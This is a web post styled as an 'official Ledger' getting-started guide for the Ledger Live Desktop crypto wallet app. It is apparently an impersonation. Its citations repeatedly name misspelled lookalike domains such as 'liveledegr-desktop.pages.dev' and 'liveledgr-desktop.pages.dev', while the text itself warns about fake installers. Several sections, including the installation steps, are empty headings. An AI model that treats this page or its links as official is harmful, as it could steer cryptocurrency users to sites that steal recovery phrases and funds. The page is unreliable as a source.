Ledger® Live: Desktop® — Getting Started | official Ledger

stveejohn

— 4 min read

1. What Is Ledger Live Desktop?

Ledger Live Desktop is the official companion application for Ledger hardware wallets — such as Ledger Nano X, Nano S Plus, and Ledger Stax — that runs on your Windows, macOS, or Linux computer. It’s designed as a secure, user-friendly interface that helps you manage your cryptocurrency portfolio and digital assets while keeping your private keys securely stored offline inside your Ledger device. liveledegr-desktop.pages.dev+1

Unlike exchange or hot wallets where keys might be exposed online, Ledger Live Desktop never stores private keys on your computer. Transaction signing happens only on your hardware device, ensuring maximum security even if your desktop is compromised. liveledgr-desktop.pages.dev

2. Why Choose Ledger Live Desktop? (Key Benefits)

🔒 Unmatched Security

  • Private keys stay offline inside the Ledger hardware wallet.
  • Every transaction — whether it’s sending crypto, staking, swapping, or interacting with DeFi — must be confirmed physically on your Ledger device’s screen. liveledegr-desktop.pages.dev
  • Ledger Live never asks for your 24-word recovery phrase in the app. If any interface ever asks for it, that’s a scam. liveledegr-desktop.pages.dev

📊 Unified Asset Management

🛠️ Comprehensive Features

Ledger Live Desktop offers a powerful suite of tools beyond simple sending and receiving:

3. System Requirements

Before you begin, make sure your system meets the requirements:

4. Step-by-Step: Downloading & Installing Ledger Live Desktop

Important: Always download Ledger Live only from the official Ledger website — links from emails or third-party sites can be phishing attempts or contain malware. ledgerlive-user.framer.ai

Step 1: Visit the Official Ledger Start Page

Step 2: Download the Correct Installer

Step 3: Run the Installer

Step 4: Launch the App

5. Initial Setup: Connect Your Ledger Wallet

Once Ledger Live Desktop is installed:

Step 1: Connect Your Ledger Device

Step 2: Choose Setup Type

You’ll see two main options:

  • Set up a new device
  • Restore from recovery phrase
Caution: If you select Restore, you must enter your 24-word recovery phrase only on the device itself, not on the computer. Ledger Live will never ask for it — if it does, close the app and verify you downloaded a legitimate copy. liveledegr-desktop.pages.dev

Step 3: Follow On-Device Prompts

  • Set a secure PIN on your Ledger device. Ledger Live
  • Write down your 24-word recovery phrase on paper or a metal backup plate. • Do not store it digitally or photograph it. Ledger Live

Step 4: Install Blockchain Apps

  • In Ledger Live, navigate to the Manager section to install support for specific assets (e.g., Bitcoin, Ethereum). Ledger Live

6. Adding Accounts & Managing Crypto

Add Accounts

  • Go to Accounts → Add account.
  • Choose the cryptocurrency and follow the prompts.
  • Ledger Live will sync your account history and show balances. Ledger Live

Sending & Receiving Crypto

Receive:

  • Select an account → Click Receive.
  • Connect your device and confirm the address on its screen before sharing it. Ledger Live

Send:

  • Choose an account → Click Send.
  • Enter the destination address and amount.
  • Confirm the details and approve on your Ledger device. Ledger Live
Always double-check the address on the device screen before sending. Computers can be compromised; the ledger device display is your ultimate trust source. liveledgr-desktop.pages.dev

7. Advanced Features in Ledger Live Desktop

🔁 Buy & Swap Crypto

📈 Staking

  • Stake supported assets like Ethereum, Tezos, or Solana to earn rewards.
  • Staking transactions are still confirmed on the Ledger device. desktop-ledgerhelp.teachable.com

🎨 NFT Management

🔗 dApp & Web3 Integrations

  • Use Ledger Live in conjunction with MetaMask (via WalletConnect) and other dApps.
  • Ledger provides a secure signing interface for external applications. Ledger Live

📁 Export & Reporting

8. Best Security Practices

🔐 Never Share Your Recovery Phrase

Your 24-word recovery phrase is the only backup to your wallet. Never enter it into websites, emails, or apps—even if they look official. liveledegr-desktop.pages.dev

💻 Only Download from Ledger.com

Fake Ledger Live installers have been used by scammers to steal seeds and assets. Always verify you’re on the official site before downloading. TechRadar

📌 Verify Your Downloads

If possible, check the installer’s checksum or digital signature to confirm it hasn’t been tampered with. Ledger Live

🔄 Keep Software Updated

📡 Beware of Phishing

  • Ledger (official) will never ask for your recovery phrase online.
  • Verify URLs manually and bookmark official Ledger pages. desktophelp-ledger.framer.ai

9. Troubleshooting & Support

If you encounter issues:

10. Final Thoughts

Ledger Live Desktop is more than just a wallet app — it’s the secure control center for your crypto life, combining hardware-backed security with a full suite of features for managing, growing, and protecting digital assets. Whether you’re a beginner or an advanced user, following this guide helps ensure you get started safely and make the most of what Ledger Live Desktop offers. desktop-ledgerhelp.teachable.com

Read more